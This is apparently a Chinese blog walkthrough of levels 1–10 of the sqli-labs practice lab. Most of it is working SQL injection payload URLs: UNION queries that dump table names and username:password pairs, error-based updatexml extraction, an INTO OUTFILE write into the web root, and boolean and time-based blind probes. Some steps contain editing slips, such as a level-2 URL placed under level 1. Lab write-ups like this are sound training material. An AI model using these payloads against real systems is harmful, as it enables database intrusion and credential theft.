sql注入(1-10关)

注入环境搭建

1、修改数据库配置文件

2、检查并创建 security 数据库

注入靶场

第一关

  • 注入类型判断 第 1 关是字符串型注入,后端 SQL 语句的写法为:

    sql 复制代码
    SELECT * FROM users WHERE id='$id' LIMIT 0,1;

    这里 $id 被单引号包裹,所以注入时需要先闭合单引号,再构造恶意语句。

  • 核心利用方式 我们通过构造恶意的 id 参数,让后端执行我们拼接的 SQL 语句,从而获取数据库中的敏感信息。

  • 常用技巧:

    • 用 ' 闭合原语句的单引号
    • 用 union select联合查询来获取额外数据
    • --+ 注释掉后面的原始语句,避免语法错误

具体步骤:

1. 判断注入点与类型

  • 构造测试 URL:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=1'
  • 页面返回 SQL 语法错误,说明 id 参数被单引号包裹,是字符串型注入

  • 闭合与注释:用 ' 闭合单引号,用 --+ 注释后续语句,确保语法正确。

2. 确定查询字段数

sql 复制代码
http://192.168.0.107/sqlilabs/Less-2/?id=-1%20union%20select%201,database(),user()--+
  • 使用 ORDER BY 语句测试字段数:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=1' ORDER BY 3--+

    页面正常;测试 ORDER BY 4 时页面报错,说明原查询结果有 3 个字段

3. 爆当前数据库和用户

  • 构造 UNION SELECT 语句:
sql 复制代码
http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,database(),user()--+

4. 爆数据库中所有表名

  • information_schema.tables 中读取表名:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+

5. 爆 users 表的所有字段

  • information_schema.columns 中读取字段名:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+

6. 爆 users 表中的账号密码

  • 直接读取 users 表的敏感数据:

    sql 复制代码
    http://192.168.0.107/sqlilabs/Less-1/?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+

第二关

SELECT * FROM users WHERE id=$id LIMIT 0,1;

这里 $id 直接作为数字传入,没有引号包裹,属于数字型注入

📌 无需闭合引号:数字型注入不需要用 ' 闭合,直接拼接语句即可。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-2/?id=-1%20union%20select%201,database(),user()--+

第三关

sql="SELECT \* FROM users WHERE id=('id') LIMIT 0,1";

WHERE id=('1''),说明 id 被 (' 和 ') 包裹,属于带括号的字符串型注入

双重闭合 :注入时需要用 ') 同时闭合单引号和括号,这是本关的核心。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-3/?id=-1%27)union%20select%201,database(),user()--+

第四关

id = '"' . id . '"';

sql="SELECT \* FROM users WHERE id=(id) LIMIT 0,1";

WHERE id=("1""),说明 id("") 包裹,属于双引号 + 括号.

📌:注入时必须用 ") 同时闭合双引号和括号,这是本关的核心。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-4/?id=-1%22)union%20select%201,database(),user()--+

第五关

SELECT * FROM users WHERE id='$id' LIMIT 0,1;

后端 SQL 语句写法(和第 1 关一致):

页面仅返回 You are in........... 或报错,不显示查询结果 ,无法用 UNION SELECT 直接读取数据

爆库名:

sql 复制代码
http://192.168.0.107/sqlilabs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

📌:

  1. 核心函数 :本关依赖 updatexml() 报错函数,通过报错信息泄露敏感数据,替代 UNION SELECT
  2. 闭合方式 :仍需用 ' 闭合单引号,再拼接报错语句,最后用 --+ 注释。
  3. 分段读取updatexml() 报错信息长度有限,内容过长时用 limit 分段查询。
  4. 备选函数 :也可使用 extractvalue(1, concat(0x7e, 内容, 0x7e)) 替代 updatexml(),原理完全一致。

第六关

id = '"'.id.'"';

sql="SELECT \* FROM users WHERE id=id LIMIT 0,1";

核心逻辑不变 报错函数的使用方式和第 5 关完全一致,仅需调整闭合符号:用 " 替代 ' 闭合原语句。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第七关

sql="SELECT \* FROM users WHERE id=(('id')) LIMIT 0,1";

页面返回 You are in.... Out of injectio(无报错),说明闭合方式正确;若报错,检查闭合符号。

sql 复制代码
http://192.168.0.107/sqlilabs/Less-7/?id=-1%27))%20UNION%20SELECT%201,database(),3%20INTO%20OUTFILE%20%27/var/www/html/db_name.txt%27--+

第八关

sql="SELECT \* FROM users WHERE id='id' LIMIT 0,1";

后端 SQL 语句写法(和第5关一致):

AND ASCII(SUBSTR(database(),1,1))=115

第九关

  • 注入类型与页面特征后端 SQL 语句写法(和第 8关一致):

    bash 复制代码
    SELECT * FROM users WHERE id='$id' LIMIT 0,1;
    • id 被单引号包裹(字符串型)
    • 页面永远返回 You are in...........,无任何状态差异
    • 核心利用:构造 AND/OR sleep(N) 语句,若条件为真则数据库执行延时(页面响应慢 N 秒),条件为假则无延时
  • 核心猜解逻辑 结合 IF() 函数 +sleep() 实现条件延时:

    bash 复制代码
    AND IF(条件, sleep(5), 0)
    • 条件为真 → 执行 sleep(5) → 页面响应≈5 秒
    • 条件为假 → 执行 0 → 页面响应≈0 秒
bash 复制代码
http://192.168.0.107/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115,sleep(5),0)--+

第十关

📌

  1. 核心区别 :仅闭合符号不同(第 9 关用 ',第 10 关用 "),延时猜解逻辑完全一致。
  2. 测试顺序:先单引号、后双引号,快速定位包裹符号是时间盲注的第一步。
  3. 延时判定:响应时间≥设定值(如 5 秒)= 条件为真,需排除网络 / 服务器性能干扰。
  4. 自动化刚需:手动猜解一个数据库名需数小时,脚本可缩短至几分钟。
相关推荐
摇滚侠2 分钟前
在 SpringBoot 项目中,开发工具使用 IDEA,.idea 目录下的文件需要提交吗
java·spring boot·intellij-idea
云姜.7 分钟前
java多态
java·开发语言·c++
李堇10 分钟前
android滚动列表VerticalRollingTextView
android·java
Re.不晚14 分钟前
MySQL进阶之战——索引、事务与锁、高可用架构的三重奏
数据库·mysql·架构
老邓计算机毕设23 分钟前
SSM智慧社区信息化服务平台4v5hv(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·智慧社区、·信息化平台
泉-java30 分钟前
第56条:为所有导出的API元素编写文档注释 《Effective Java》
java·开发语言
麦聪聊数据44 分钟前
为何通用堡垒机无法在数据库运维中实现精准风控?
数据库·sql·安全·低代码·架构
2301_790300961 小时前
Python数据库操作:SQLAlchemy ORM指南
jvm·数据库·python
zfoo-framework1 小时前
帧同步和状态同步
java
charlotte102410241 小时前
高并发:关于在等待学校教务系统选课时的碎碎念
java·运维·网络